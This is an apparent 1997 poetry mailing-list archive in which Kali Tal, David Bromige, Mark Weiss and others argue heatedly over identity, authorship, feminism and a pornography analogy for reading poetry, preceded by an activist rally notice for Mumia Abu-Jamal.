People have come to Philadelphia in recent weeks from as far away as CALIFORNIA, EUROPE and AFRICA TO SUPPORT MUMIA because they understand that URGENCY of this situation. THAT MUMIA'S LIFE IS ON THE LINE! Governor Ridge has said he will sign a new death warrant when the PA Supreme Court denies Mumia's appeal for a new trial.

****

ON THE EVENING BEFORE THE HEARING, WEDNESDAY, JUNE 25, 1997 AT 6:00 P.M., THERE WILL BE A SHOWING OF THE VIDEO "A CASE FOR REASONABLE DOUBT" AND A PROGRAM FEATURING SPECIAL GUESTS TO RALLY SUPPORT FOR OUR BROTHER WILL BE HELD AT THE AMERICAN FRIENDS SERVICE COMMITTEE BLDG., 1501 CHERRY STREET, PHILADELPHIA, PA, INCLUDING:

AMIRI BARAKA AND FAMILY - NEWARK, NEW JERSEY
JULIA WRIGHT - PARIS, FRANCE

As you may know, Sis. Julia Wright has been back and forth several times from PARIS to answer ALL of the calls for support for Bro. Mumia in these last stages of hearings. This phenomenal level of SUPPORT must be matched by those of us right here in the U.S. who want to see MUMIA FREE. Following this hearing, it is suspected that Mumia will be placed on PHASE II and another warrant signed by Gov. Ridge.

****

!! EMERGENCY !!

WE NEED *EVERYONE* TO CONTACT THEIR LOCAL NEWS MEDIA *NOW*, CALL INTO LOCAL RADIO SHOWS AND WRITE LETTERS TO THE EDITOR OF YOUR NEWSPAPERS AND PUT PRESSURE ON THESE OFFICIALS TO GRANT MUMIA A NEW TRIAL!! *AS WE KNOW FROM SUMMERS PAST, **TREMENDOUS EXPOSURE** and **PRESSURE**

IS THE ONLY WAY TO GET THIS SYSTEM'S ATTENTION!! THE TIME
IS **NOW** TO ACT!!

--
linda v. russo
[redacted]
..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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813. Kali Tal
Re: identity/poetics
Thu 26 Jun 1997

So what am I to do with all this? Joe Amato (hi, Joe) says that David Bromige is a Real Decent Guy, and I tend to trust Joe's judgement about people. He says that, knowing me and knowing Bromige, he doesn't really think there should be an argument; whether through stubbornness or foolishness we're reading each other badly. So let me lay down some more, hopefully more useful, possibly more readable text.

I don't (and never would) argue that poetry doesn't/shouldn't tap deep emotional wells or bring about insight so powerful it seems mystical in its origins. I think identity is a crucial component in poetry, but it does not *replace* the poem. To me, that's like saying you could replace a whole body with a leg. The leg isn't the body, but one could say that the body *needs* the leg--I mean, sure one can get along without a leg, but then one has to use substitutes, which are never as good. So I try not to separate the question of identity from the poem, just like I try not to separate my notions of my mind and my body: that is not "my leg"; that is the legness of me.

I choose the poetry I publish based on a combination of its content and its form/effect. I expect good poetry to move me, and change the way I look at the world. The insurance lawyer is one of my favorite poets. As a kid I had a powerful attraction to Stevens, to Millay and to Baraka (then Jones). Of the three, my reading of Baraka has changed the most, and it has changed specifically because I have studied and contemplated the question of African American identit(ies). Or maybe I study African American identit(ies) *because* I read Baraka as child. Coming to African American poetry with some understanding of

African American cultures has made my readings--and my emotional connections to the works--immeasurably more rich. Transcendence, for me at least, is rarely automatic--I find that I have to work for it. I find it much like bodysurfing--the ecstatic rush of catching the wave is possible only after one learns to blend position, timing and strength with a practiced sense of the ocean and its movement.

Pat writes:

> *But any discussion of identity & poetry begs the question: when we talk about identity do we mean merely personality and the personal experiences that stand behind or under the shaping of the text? Or do we mean the formation of cultural and political constructs at large - distinct codes imposed on us or written by ourselves - by which we read each other in the world and the ways in which these read themselves into the text's creation?*

A combination of both, I think. Though I usually place emphasis on the latter at the expense of the former... except when I feel the balance has gone too far in that direction, and then I try to shift it back. It's a balancing act. My own critical writing focuses on the intersection between individual traumatic experience, creative writing, and national/cultural mythology; stories are always constructed in collaboration with others, and are heavily influenced by the narrative norms of the particular culture(s) in which we dwell. In addition, our memories (and thus our stories) change over time, eroding and shifting until they often come closer to matching mythic narratives than they do to matching the original experience.

Identity is, to me, a crucial issue. And it seems to me inextricably tied to how we converse here, on this list, as well as in other arenas.

This argument got started because I posted some poems and included a description listing some characteristics/identity elements of the authors. I explicitly named those features which seemed to me to make these poets distinct from most (not all) of the other poets we discuss on the list. Seems to me that the conversation could have gone a number of ways. For example, someone who knows more poets on this list than I do might have been able to say, "But, Kali, most of the poets we're talking about *are* working-class, and so the class origins of these writers *can't* be distinguishing characteristics." Or someone could have said, "Hey, Kali, in addition to class here's this *other* characteristic the poets you describe share, and so maybe class isn't as important as you think it is; maybe this other thing is just as important." Or, upon reading my explanation, someone might have said, "Well, thanks for the info, but actually I didn't need it. Still, no harm done." But that's not what happened.

What happened is that I was criticized for posting the bio info, as if that revealed some weakness, some flaw in my critical approach. Please note that I

have *never* criticized anyone on this list for *not* posting biographical info about poets under discussion. I'm not prescribing correct behavior here. When I responded and explained my decision to post the info, I came under attack (and, given the nature of flamewars, I'm aware that it was a pretty mild attack) for my description of the reasons why *I* post (and seek) identity info--it wasn't okay to think identity was important because it seemed to make people who thought identity was *not* important... nervous. Seems to me that there's a feeling among those folks that it's not *fair* to bring up identity because that puts whitehetmale people at a disadvantage since--in the identity game as constructed in the academy--they either have a "bad" (oppressor) identity or *no* identity (and thus miss out on the perks and privileges the politically-correct allegedly award to people with identities). (The "Ethnic Needs" aisle in your local supermarket has no products designed for white people. Of course, it doesn't meet the real "needs" of "ethnic" people, either....)

I don't mind other folks stating their opinions and making arguments. I mean, that's what I'm here for. And I'll happily and civilly wrangle all day. What I *do* mind is being given no ground on which to stand. I mind fighting erasure, which seems to me something that women and people of color must constantly resist in cyberspace. And I mind, particularly, being read through the lens of *my* identity by people who are arguing that identity shouldn't matter. Take, for example, Bromige's following comments:

> *Continuing to*
> *create Kali Tal from what her words don't say but do indicate, I might find*
> *a person who hasn't worked through her attitudes towards human sexuality.*
>
> *these howls of execration*
> *masked as rational argument*

What the *fuck*? (Pun intended.) For some reason, some men feel completely comfortable reading into the sexuality of women who voice opinions that are openly feminist. Can't tell you how many times I see women talked about this way. If it weren't so annoying, it would be almost quaint. "All she really needs is to get well-laid, poor thing." And, like Chomsky says about people who call him antisemitic, "Hey, what are you gonna do? Tell them you're *not* antisemitic?" Introducing the charge (twisted sexuality makes twisted arguments) changes the nature of the conversation, erases any tenable position for my response. The allegation of "irrationality" is particularly loaded when it's directed at a woman, especially when it's accompanied by the insinuation that the woman is motivated by some sort of sexual frustration or incapacity. Sort of like Styron rewriting Nat Turner as sexually frustrated, thereby shifting the nature of his rebellion from the political to the (Freudian) personal. It's *that* sort of appropriation I dislike, and it's *this* sort of situation which makes me feel the difference between my (female) identity and Bromige's (male) identity sharply

enough to wince. As a female person, I'm vulnerable to the charge of manhating. Calling a guy a misogynist (which, let me make perfectly clear, I have *not* done and *am* not doing) isn't at all the same thing; there is no equivalent position for Bromige. We are not operating from positions of relative parity, and his (perhaps unconscious) invocation of female stereotypes has a power I can never match.

> *I don't feel that my intrinsic value as a human being means*
> *much to someone who reads me as carelessly as you do, & who invites the*
> *List to picture me coming into _Hustler_.*

Bromige apparently sees his critique of me as a kind of tit for tat. But the over-the-top nature of my porn analogy might have been more apparent if he were not--like many men--trip-wired for response to perceived "attacks" by feminists. I can quite honestly say that I never *once* pictured Bromige coming into _Hustler_ or any other skin mag as I wrote my post. Did any woman reader get that image? I'd be surprised. Nor, as Mark Weiss seems to suggest, do I cede masturbation to "the armies of darkness." The paragraph wasn't *about* masturbation and it wasn't *about* Bromige (again, my point exactly); it was about the play of desire and the objectification of desire--the pornography of representation, as some feminist critics have labelled it. We simply have different answers to the question: What is a poem for?

Bromige asks:

> *(Do you really think your words say only what you want them to say?)*

Words don't ever "only" say anything, and I could as easily turn the tables and ask him the same question. Others who've joined the "slam identity" fest have also used this tactic. Such patronizing (and I mean the word as a patronymic) tones are tough for me to gloss over and virtually impossible for me to context without seeming, ummmm, strident. And this rhetorical strategy is employed to put forward an argument I never even made--I never claimed (would never claim) that my words (or any poet's words) had a single meaning.

(I notice now that I have slipped into the third person, addressing an audience about Bromige, rather than speaking directly to Bromige himself. I prefer this, I think, because I find that there is no space for "you and me" in the conversation with Bromige--rather, there is me reading Bromige, and Bromige reading me, and I find that his reading of me is a stuffy and ill-lit box where all my (favorite) parts cannot fit comfortably. I prefer to operate from outside when faced with such uncomfortable accommodations. Probably he feels the same. The question is, in the darkness of the garden, can we communicate?)

The invisibility of any identity other than white male, which is the unstated norm, is made evident in myriad posts, but I'll take Pat's as an example. (I'm choosing this post because I think that it was smart and interesting, and I'd

guess that Pat's intent was as far from my reading as I can imagine; however, I think that whitehetmale "identity presumption" permeates most POETICS posts.)

Pat writes:

> *... I'm woefully not up on the most current thinking about identity theory in literature. No doubt this has to do with my "identity" as a member of the ruling class - white male heterosexual. (Dodie Bellamy last night jokingly told me a guy like me could never get a grant!) I don't think the value of an idea or a work rests solely on the personal behavior or outlook of its author.*

If you aren't up on identity theory, and you are saying (seemingly without irony) that your cultural positioning might have an effect on your interest in identity, why, then, go on to redefine the privileged position as victimized (you'll "never get a grant"), even in a joking fashion? A survey of granting agencies will doubtless demonstrate that most grants still go to white males, just as a survey of academic employment will confirm that jobs are awarded along the same lines. Forgive me for the close reading, but there seem to be something interesting going on here--simultaneous distancing from contemporary identity theory and an (admittedly not forceful) claim to a position based solely on identity (discriminated against white male heterosexual). Even if you meant repetition of Dodie's comment as an offhand joke, it still rests on a bed of identity politics. "Identity politics" is a word used to describe what women and people of color are doing when they assert their interests. White men do the same thing all the time but it's invisible in the way that ubiquitous things become invisible--they become "the way things are," presumed to be value neutral by folks whose privilege is not to notice their privilege.

Then you follow up your whitehetmale self-reference with the assertion that you "don't think the value of an idea or work rests solely on the personal behavior or outlook of its author." Where did that come from? What critic, in what context, has said--in this discussion or in identity theory writ large--that "the value of an idea or work rests solely on the personal behavior or outlook of its author"? It's a classic straw-person argument since no one--certainly no one on this list, here--has taken the position you stand against. The function of a straw-person is to invoke an enemy against whom you can position yourself. In this case, the people most likely to be presumed to be advocating the position you state are exactly the members of the most oppressed social groups--women and people of color. These hardly seem to me groups which warrant resistance from relatively privileged white males, but, then, there *is* that tendency of contemporary white males to think of themselves as victimized.

Just because the language and culture is sexist and racist doesn't mean that I don't want to engage with it. But there's a point at which I tend to notice that

the norms of sexism and racism have been exceeded and we've slid beyond the boundaries of the tolerable into the realm of the abusive. That's why I'm taking the time to write such a lengthy response to the argument between me and Bromige. I place derogatory comments about my *specific* sexuality in the "abusive" category, and I'd like to register my distress at their appearance on POETICS.

Kali

"It requires something more than personal experience to gain a philosophy or point of view from any specific event. It is the quality of our response to the event and our capacity to enter into the lives of others thathelp us make their lives and experiences our own." -- Emma Goldman.

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814. David Bromige
irony & self-abuse
Thu 26 Jun 1997

Mark, thanks for catching that under-indicated irony. The letter I was coping with goes in various directions, and I couldnt, it appears,deal with each with the same degree of concentration. I decided to leave the battle for the honor of male masturbation to another time. But I do write in my letter, to preface all my assertions with "As if". "As if male masturbation is wrong.....what then? "

The other day, in the newspaper, "studies show" that the visual function, with men, is more strongly tied to the pleasure center, than in women. So that the meaning men find in watching sports (incl. sex) & the meaninglessness women find in watching, is accounted for genetically, rather than, as I had thought, through socialization. In my experience, I've known women who loved to watch, & men who couldnt be bothered, but as a general rule, it appears that genetics rule. And rule blamelessly, I trust.

So, anyway, in deciding to abandon the fight on one front, I left that paragraph too bald. I'm glad you decided to be the irony-indicator. David

↑ Index

815. David Israel
Re: Idenity of the poet / Bromige's bravura
Thu 26 Jun 1997

Well David Bromige, --

at long day's end reading your exposition /
response / rapture / elucidation /

grapplement / defense / demonstration of a
view regarding poetry & its reading

elicits thanks for quaint privilege & play
of the peculiar Poetics dialogue phenom
say Kali comprises occasion for same? --
there's credit sufficient to obviate blame

d.i.

↑ Index

816. **Mark Weiss**
Re: identity/poetics
Thu 26 Jun 1997

Here is the passage that evoked the responses that you find objectionable:

"This "response" to poetry (which in your construction appears to take place at some deeper and more meaningful level than contextualization) doesn't seem so different to me from the hard-on some guys get when they thumb through fuck books. I mean, that's a "response," right? And it doesn't matter who the woman (or the guy) in the photo is--their bio is completely and wholly irrelevant because the reader is in it for *himself* (or herself, as the case may be). You can jerk off over a photo, but it doesn't mean that you're exactly "meeting through the porn." I think that focusing wholly on your own response to a poem (and the bio be damned) objectifies the author and makes him/her merely a vehicle for your own pleasure. What you feel might be *real*, but frankly, my dear, who gives a damn? In the end, all you've got left is a sticky piece of paper and the need to do it again and again because it never, finally, satisfies."

Perhaps your equating of a way of reading with a specifically male interest in pornography wasn't meant to be provocative. Perhaps its meaning wasn't dependent on a presumption of a shared negative opinion of pornography. Perhaps you spoke in code. Perhaps you think that guys accept this sort of cheapening of an argument if it comes from another guy and only get pissed off if a woman does it.

For the record, I thought, based on your words, that you were an officer in the armies of darkness. But then, I don't read very well.

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817. **DS**
Re: irony & self-abuse
Thu 26 Jun 1997

Aren't these studies painful. In ante-natal classs (i am going as a friend not a conspirator) the other night the cub-scout leader like woman taking the glass kept coming back to her 'fact' that she has 25,000 words whereas he only has 10,000. I felt like screaming by about the hundredth reference to it, but ,managed to avoid one of my more common words - .01% of my vocab according to her - in favour of wondering what sort of children the other 'couples' would produce.

Regards,

Dan (am enjoying the heat of some of these discussions in the cold NZ winter)

> *The other day, in the newspaper, "studies show" that the visual function, with men, is more strongly tied to the pleasure center, than in women. So that the meaning men find in watching sports (incl. sex) & the meaninglessness women find in watching, is accounted for genetically, rather than, as I had thought, through socialization. In my experience, I've known women who loved to watch, & men who couldnt be bothered, but as a general rule, it appears that genetics rule. And rule blamelessly, I trust.*
>
> *So, anyway, in deciding to abandon the fight on one front, I left that paragraph too bald. I'm glad you decided to be the irony-indicator. David*

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818. **David Israel**
Re: long article / rustle of language
Thu 26 Jun 1997

Henry Higgins --
(w/ thanks to EVD for highlighting the passage):

> *I'm talking about the "emotion of multitude" as*
> *Yeats called it, or more profoundly, Whitman's cosmic inspiration -*

not acquainted w/ the Yeats phrase (under-educated in many such regards), -- but by the by, it calls to mind one from Roland Barthes':

"the rustle of language"

(an imagistic phrase serving eponymously for title of an essay & a book of essays) -- the image he uses to conjure this (if memory serves) is the sort of "rustle" one hears if, not knowing (say) Chinese, one listens to the bare sound of

Chinese being spoken by a multitude (beheld in, I think, a Chinese movie of multitudes . . .)

Among those iconic Theorists, doesn't Barthes seem maybe the most susceiptible to (for me, a likeable dash of so-called) Romanticism?

d.i.

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819. **David Bromige**
not "as if," but "What if"
Thu 26 Jun 1997

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with regard to my last posting. Need some sleep! this message was returned because I had addressed it to "listserb." Must be that Simic thread. David

↑ Index

820. **robert drake**
Re: KOJA magazine?
Thu 26 Jun 1997

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mark--

i've seen only th 1st issue of KOJA, c1996... in an enclosed note, michael (mikhail on th masthead) was soliciting work for a 2nd issue planned for spring 97. contributors to the 1st: michael basinski, joi brozek, marta deike, raymond federman, alex galper, saha kogan, richard kostelanetz, konstantin kuminsky, inna mattei, mike meskin, eileen myles, dennis saleh, genrikh sapgir, lena saprykina, igor satanovsky, spencer selby, gary sullivan, irving weiss, & th editor.

address: 7314 21 ave. apt 6e, brooklyn, NY 11204.
.

and i wanted to mention: i receive queries similar to this one at least 2 or 3 times a week--folks trying to track down current addresses ov some very small publication or author... there is a continued interest in literatures that might be commercially "marginal", frm a wide range of readers. just wanted to say so, as encouragement to various who might feel discouraged about the lack of a mass market for their works...

asever
luigi
trr/burning press/etc

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821. Stephen C. Ellwood
Re: irony & self-abuse
Thu 26 Jun 1997

I didn't think you were being ironic when you asserted that mastrubating with, it was Hustler I believe, is a destructive (evil?) thing. And I was glad to hear it.

It harms me and my sisters when men allow thier sexual impulse to be reconfigured by that fucked up capitalist monster that is porn.

Emily Vey Duke.

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822. Kali Tal
Re: identity/poetics
Thu 26 Jun 1997

> *Perhaps your equating of a way of reading with a specifically male interest in pornography*

No. You don't seem to read very well. Please note the line in the paragraph you quoted:

> *And it doesn't*
> *matter who the woman (or the guy) in the photo is--their bio is completely and wholly irrelevant because the reader is in it for *himself* (or herself, as the case may be).*

Right there, in the heart of the argument is the clear statement that objects and objectifiers can be either/both male or female.

> *Perhaps its meaning wasn't*
> *dependent on a presumption of a shared negative opinion of pornography. Perhaps you spoke in code. Perhaps you think that guys accept this sort of cheapening of an argument if it comes from another guy and only get pissed off if a woman does it.*

Again, lots of rhetorical flourish, little substance. But then, perhaps you don't feel you have to demonstrate substance, since you've got the weight of Culture on your side. Triple sheesh.

1. Porn is complicated stuff. First off, it's real hard to define. One man's porn is another woman's erotica, and so on. So I'm not talking about "porn" here (never was). What I'm talking about is the specific relationship between the fantasy object and the reader. *If* one claims the right to reimagine the poet at will, and for one's own purposes and pleasure solely, then it seems to me a not so terrible leap to a parallel with other sorts of objectifications and appropriations, i.e., a certain way of reading what--for convenience, though without much accuracy--I'll call porn-as-placeholder. It's not the *content* that creates the

problem (the context of a woman's nakedness, for example, matters very much). It's the manner of reading. "Porn" in my estimation describes a *relationship* in which one party has the power and privilege of objectifying another party, perhaps against her will, in ways that are echoed and amplified in oppressive structures throughout the "real" world. (And I think this is what Susan Kappaeler means when she talks about the pornography of representation.) You can continue to pretend that my argument is simply a knee-jerk antiporn tirade combined with a vicious personal attack on the good poet Bromige if that's simpler for you.

2. What "cheapening of an argument" is going on here? What valuable material is being destroyed by the introduction of the porn parallel? Gah. Why is there always this ferocious response by a few men when a woman ventures anywhere near the realm of the erotic in other than traditional dress? So I compared a way of reading poetry to a way of reading pornography? Don't get your panties in a twist.

> *For the record, I thought, based on your words, that you were an officer in the armies of darkness. But then, I don't read very well.*

3. I'm not an officer, son. I *work* for a living.

Sgt-Maj Tal, Vagina Dentata Division, Legions of Hell

"A sucking chest wound is nature's way of telling you that you've been in a firefight."
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/
Home Page: http://www.azintl.edu

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823. Tenney Nathanson
acrimony, or, being wishy-washy at Wimbleton
Fri 27 Jun 1997

---

this is just to register my somewhat (perhaps) inappropriate pleasure at the growing David / Kali archive. The acrimonious edge may be more fun from the sidelines (or not); but anyway it's so nice to sit here watching the ball fly back and forth, and really irresponsibly not to feel any interest at all in taking up sides. They have each answered correctly, that is each one according to "his" nature. Emerald becoming emeralds, etc.

(btw I know both the gladiators--though only slightly--and find both nothing but enjoyable. go figger.)

yrs w cricked neck,

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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824. Mark Weiss
Re: identity/poetics
Fri 27 Jun 1997

Oh my god I've been objectified.

Look, your globalization of a theory about gender relations, like the term "the pornography of representation," is not lingua franca, it's a code. And it carries a value judgement for a simple soul like me. Maybe it's the cultural context.

Actually, I like women in combat boots. But I think it's ungentlemanly to talk about your lingerie, twisted or not. After all, we hardly know each other.

Maybe we can dispense with the ad hominems.

At 09:57 PM 6/26/97 MDT, you wrote:
>>Perhaps your equating of a way of reading with a specifically male interest
>>in pornography
>
>No. You don't seem to read very well. Please note the line in the
>paragraph you quoted:
>
>>And it doesn't
>>matter who the woman (or the guy) in the photo is--their bio is completely
>>and wholly irrelevant because the reader is in it for *himself* (or herself,
>>as the case may be).
>
>Right there, in the heart of the argument is the clear statement that
>objects and objectifiers can be either/both male or female.
>
>>Perhaps its meaning wasn't

>>dependent on a presumption of a shared negative opinion of pornography.
>>Perhaps you spoke in code. Perhaps you think that guys accept this sort of
>>cheapening of an argument if it comes from another guy and only get pissed
>>off if a woman does it.
>
>Again, lots of rhetorical flourish, little substance. But then, perhaps you
>don't feel you have to demonstrate substance, since you've got the weight of
>Culture on your side. Triple sheesh.
>
>1. Porn is complicated stuff. First off, it's real hard to define. One
>man's porn is another woman's erotica, and so on. So I'm not talking about
>"porn" here (never was). What I'm talking about is the specific
>relationship between the fantasy object and the reader. *If* one claims the
>right to reimagine the poet at will, and for one's own purposes and pleasure
>solely, then it seems to me a not so terrible leap to a parallel with other
>sorts of objectifications and appropriations, i.e., a certain way of reading
>what--for convenience, though without much accuracy--I'll call
>porn-as-placeholder. It's not the *content* that creates the problem (the
>context of a woman's nakedness, for example, matters very much). It's the
>manner of reading. "Porn" in my estimation describes a *relationship* in
>which one party has the power and privilege of objectifying another party,
>perhaps against her will, in ways that are echoed and amplified in
>oppressive structures throughout the "real" world. (And I think this is
>what Susan Kappaeler means when she talks about the pornography of
>representation.) You can continue to pretend that my argument is simply a
>knee-jerk antiporn tirade combined with a vicious personal attack on the
>good poet Bromige if that's simpler for you.
>
>2. What "cheapening of an argument" is going on here? What valuable
>material is being destroyed by the introduction of the porn parallel? Gah.
>Why is there always this ferocious response by a few men when a woman
>ventures anywhere near the realm of the erotic in other than traditional
>dress? So I compared a way of reading poetry to a way of reading
>pornography? Don't get your panties in a twist.
>
>>For the record, I thought, based on your words, that you were an officer in
>>the armies of darkness. But then, I don't read very well.
>
>3. I'm not an officer, son. I *work* for a living.
>
>Sgt-Maj Tal, Vagina Dentata Division, Legions of Hell
>

>"A sucking chest wound is nature's way of telling you that you've been in a
>firefight."
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>Home Page: http://www.azintl.edu
>
>

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825. **Alan * Sondheim**

Dead as Can Be

Fri 27 Jun 1997

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*

Post-Dryden Fragment

violent forces pervade the protocols
Julu screaming in dreadful datagrams
or Jennifer at war with black hole drops:
Give them names! Give them names! thus Alan cries
as RAM fills up, spilled data, TCP
lumbers half-empty through the swollen wires
She'd want us! yells one half the Network plane
She's coming! yells the other back again -
a bleak occurrence, storms raging far below
where dim tubes carry photons hot with text
ready for her, for us, for them, for you; now think
of crazy-Julu-hell, and file follows file
to the rim or nervous screen, thin fingers grasp
the keys, control-X sends, and everything is gone
from one true world to this, her screen now blanked
or lost or black or dimmed or otherwise
just _off,_ she was a little, but the network swells,
becomes her, us, he, she, we, or them, or you,
turned against time and space's absence and/or lack,
or proxy or prosthetic space, or space yet undefined
as _this_ ID wracks routes and routers work
at it or through it. such routers, drawn, inert,
read not nor comprehend our Julu's savage spread

everywhere that's lost its place, a _thing_
that isn't there, that Julu-is. Jennifer wisely knows
here, in frock and smiles, uncanny fantasy
that she will sing, tune or ditty, all the time
heard everywhere at once ('that's lost its place') -
It works! Julu and Jennifer merge hard
And in their she, an absent Network, dreamed -
Oh, is this necessary?! one might speak, or not,
and other answer, as two lips turn one,
or many or none at all, all this, they say
is unaccounted-for, and unaccountable, All this,
they say, is _them, for them! Now routers burn,
nodes fire, vectors churn: O Jennifer! O Julu!
Alan prays as data roars, flesh hardens and decays.

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826. **Dean A. Brink**

Re: a next to last word

Fri 27 Jun 1997

Kent, you are obviously not interested in persuing my queries more objectively. You attack the person. You rally names, but the issues stand undeveloped: a string of denials and excuses. This is not a question of your conscience for me (no confessions, please) but of the way the situation of the editing came to be. Who knows, if we could sustain a cool exchange we might learn something.

I have no reason to apologize to you. I have based my statements on your words regarding the editing policy, and was not initially interested in the anthology's contents (thus naturally didn't read it). It's a matter of quoting a virtual preface when discussing a specific issue, not of reviewing your entire anthology. Broadcast that I'm cynical about New Age things, fine. I'm sure many will agree. Tell them I've attacked their work (which I have never done, and have denied thrice), and you are simply lying.

I have been continually been bringing issues to the floor. My first post was (as has been suggested) perhaps an example of a ritual attempt to get the discussion going by making overstated claims that later can be developed by all, fine-tuned, or dismissed. There's been some of this. But the "in this corner/that corner" makes for a bad taste in all of our mouths methinks.

There seems to be a chasm between those who revere Asia and those just are Asian, have lived in Asia, or who study Asia. I do not revere Asia or hold it up, nor put anywhere or any culture (including of course American) up on a pedestal. The historical contexts for our various cultures and mixes of cultures

are too interesting and really, historically beautiful. Including the thought. To revere Asia and establish a coterie around this is something foreign to me.

KENT JOHNSON wrote that I should
"if not to an open and sincere apology, then at least to his temporary practice of
some dignified silence on the matter."

Since when do we play the authoritarian God card?

> *Now, it's apparent, no question, that Mr. Brink is intelligent and knows quite a bit about his field.*

Thank you very much. Here, play the voice of God.

> *Thus I would, with a sigh, like to propose the following to Mr.Brink: Go find the book, read it, think about it, and then come back and make your complaint if you still have one.*

I don't want to spoil your party, just question the unconscious/ideological thinking that went into your compilation. I will not critique this book on those terms, in the context we have created. Again, the issue for me had to do with the politics of the editing, not the contents.

> "*you've been downright abusive toward the integrity of a number of good people in the process.*"

How could this be so, when I haven't even mentioned anyone but us two?

Sorry our romance will have to be cut short. Backchannel me when you get back.
There must be some common ground for understanding ...

[redacted]

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827. **Kali Tal**
Re: identity/poetics
Fri 27 Jun 1997

Kent, I'm writing this tonight in hopes you'll catch it before you vanish for a month. Fair questions, and I'm happy to answer them.

I did indeed take issue with Dodie's decision to question the authenticity of Kim Dawn's claim to be a female person, but it was not the question which bothered me; it was the context. The purpose of the question *appeared* to me to be located in Dodie's desire to undermine Kim Dawn's authority. I drew that conclusion because of Dodie's concommitant criticisms of Kim Dawn's lack of proper ladylike demeanor (as compared to Kathy Acker's allegedly exemplary public persona). Strategically, it seemed that Dodie had made a particular choice to

undermine Kim Dawn's "femininity" first by criticizing her actions as improper, and then--having established the unladylike nature of Kim Dawn's speech/acts--delivering a double-whammy by questioning whether a person so unladylike could indeed *be* a lady or even a woman. So I asked the following questions, which you quoted in your last post:

> *"I'm also put off by Dodie's later attempt to undermine Kim Dawn's *author*ity by attempting to cast doubt upon her claim to be female. (Does it actually matter if KD is female? How would we revise our interpretation if she were a he?)"*

Please notice that at the same time I am asking whether it matters if Kim Dawn is female (and I think it does matter in the context of the discussion where the question was raised), I am also asking how the knowledge that "she" was actually a "he" would change our interpretation of the textual events which we'd read/witnessed. What I was doing (attempting to do) was pointing out the way Dodie's inquiry functioned as a rhetorical tactic in this particular argument. As I noted in one of my previous posts,

> *I don't think identity is essential, but I think that people essentially identify and that how we think about what we are creates not only what *we* are but, when we're members of a dominant group, what *other* people think they are; we limit or define what other people can and cannot be.*

Dodie's was, I thought, a tactic which reinforced/reinscribed power hierarchies of a dominant over an oppressed group. Note, please, that I consider Dodie, a female person, to be a fully able participant in the business of reinforcing hegemony. Identity is a process, not a fixed position, which is why women can find themselves allied with men against other women (not, mind you, always a bad thing), or why Malcolm X, after his pilgrimage to Mecca, could redefine his identity to be ideology-based as well as (and perhaps even more than) racially based.

> *... I read you now to be saying pretty emphatically that an empirically verifiable author with an empirically verifiable history is crucial (lest we fall as readers into a kind of "pornographic" largesse, where we make of the author a mere object for our fantasies), I was thinking that now would be a good time to ask you to clarify the apparent contradiction.*

You do add a twist to the argument that I would never endorse. "Empiricism" is possible only when we've agreed upon a standard of measurement, and I don't think we've yet developed any system for accurately gauging and testing identity. The problem with your reconstruction of my argument is that, again, it assumes that identity is fixed. It's not. In some ways it's utterly dependent upon context. Take, for example, my student, Claudaniel. He's of Haitian descent,

appearing to my eyes as a medium-brown African-American with nappy hair. But he lives in Tucson and--because he speaks fluent creole and French and has a talent for languages--picked up Spanish very easily. In the Southwest, he is often taken for Chicano. In Haiti, he's frequently mistaken for white (he says he's the lightest member of his family), though he's far too dark to be assumed white in the U.S. In Brooklyn, where he goes to visit his cousins in the summer, he's usually assumed to be black, sometimes thought to be Puerto Rican. If you ask him what he is, he'll say, "Haitian." But then he'll pause, and muse for a moment, and say, "African-American," too. I couldn't (and wouldn't want to) measure his identity. What interests me is the process of his passage through different social/cultural spaces, and the way his identity emphases shift when he goes from here to there. All positions he occupies are authentically Claudaniel, but the social pressures and circumstances change as he relocates, and each venue seems to allow for the expression of different aspects of "himself".

We all experience identity shifts like this to some degree, but persons who identify (or are identified) as members of oppressed groups experience more external enforcement of identity than members of privileged groups. As an illustration of this, I can offer my African American students' litany of stories about a) getting stopped for driving a nice car because police assume that black kids in nice cars are drug dealers; b) getting followed around by security in department stores because security personnel assume that black kids are in department stores to steal things; c) dealing with the poorly concealed racism of the white parents of friends and lovers. Externally imposed identity is as real as internally embraced identity--few things are more "authentic" than the knowledge that you could get killed merely because people *think* they know who you are. I have African American friends, a married couple, who fear for the life of their young adult son because the boy has a psychological illness which causes him to act aggressively and irrationally at times. Their son lives in a city that has a police force with a brutal reputation, and my friends are quite aware that an episode could be fatal for their son under certain circumstances--circumstances that white parents would not have to worry about. Their son *is* upper-class, but at the same time, he is also African American. The importance/primacy of each identifier shifts depending upon the context.

> *Does the*
> *contradiction imply that you feel that for some groups, classes,*
> *ethnicities, it is necessary for authors to have a "real,"*
> *traceable identity, but in other cases this is not necessary? Or are*
> *"transgressions" of normative understandings of the author's*
> *function (i.e. where the name of the "author" is the name of the*
> *writer) improper in all cases?*

In my experience, authors tend not to hide their identities unless they have a specific purpose in mind. Most authors *like* being known, and those who

don't are anomolous enough so that we know them for *not* wanting to be known (Pynchon, Salinger). In cases of deliberately concealed or withheld identity, I am interested in both the author's intent and in the general impact of the work. Some identity-concealing tactics are quite easy to understand--George Sand, George Eliot, James Tiptree, Jr., etc. wrote under masculine pen names because it brought them (a limited number of) masculine privileges. It doesn't take a rocket scientist to analyze that sort of passing. Frank Yerby, however, is more interesting. For those of you who aren't into romance novels, Frank Yerby is one of the pillars of the genre; he's black but has constructed his ouevre quite carefully to give no sign of this. He made a mint on his writing. What do I think of this? I think it's complicated, and contemplating Yerby always sends me back to James Weldon Johnson's _Autobiography of An Ex-Colored Man_. (The latter is also fascinating in terms of the identity question because so many folks mistake the novel for an autobiography when the "real" JWJ couldn't have been farther from his protagonist.) And then there are the well-known "fakes" by white authors, like "Danny Santiago's" _Famous All Over Town_ or, to bring class into it, Rebecca Harding Davis' _Life in the Iron Mills_. How about gender crossing within races, like Ernest Gaines' _Autobiography of Miss Jane Pittman_, which almost everyone who reads it takes *as* an autobiography? Or, even within a single "identity," what about the multiple and self-contradictory autobiographies of Lillian Hellman or Mary McCarthy? Each one of these works (and their authors) can be read and understood in context, with identity factored into the mix.

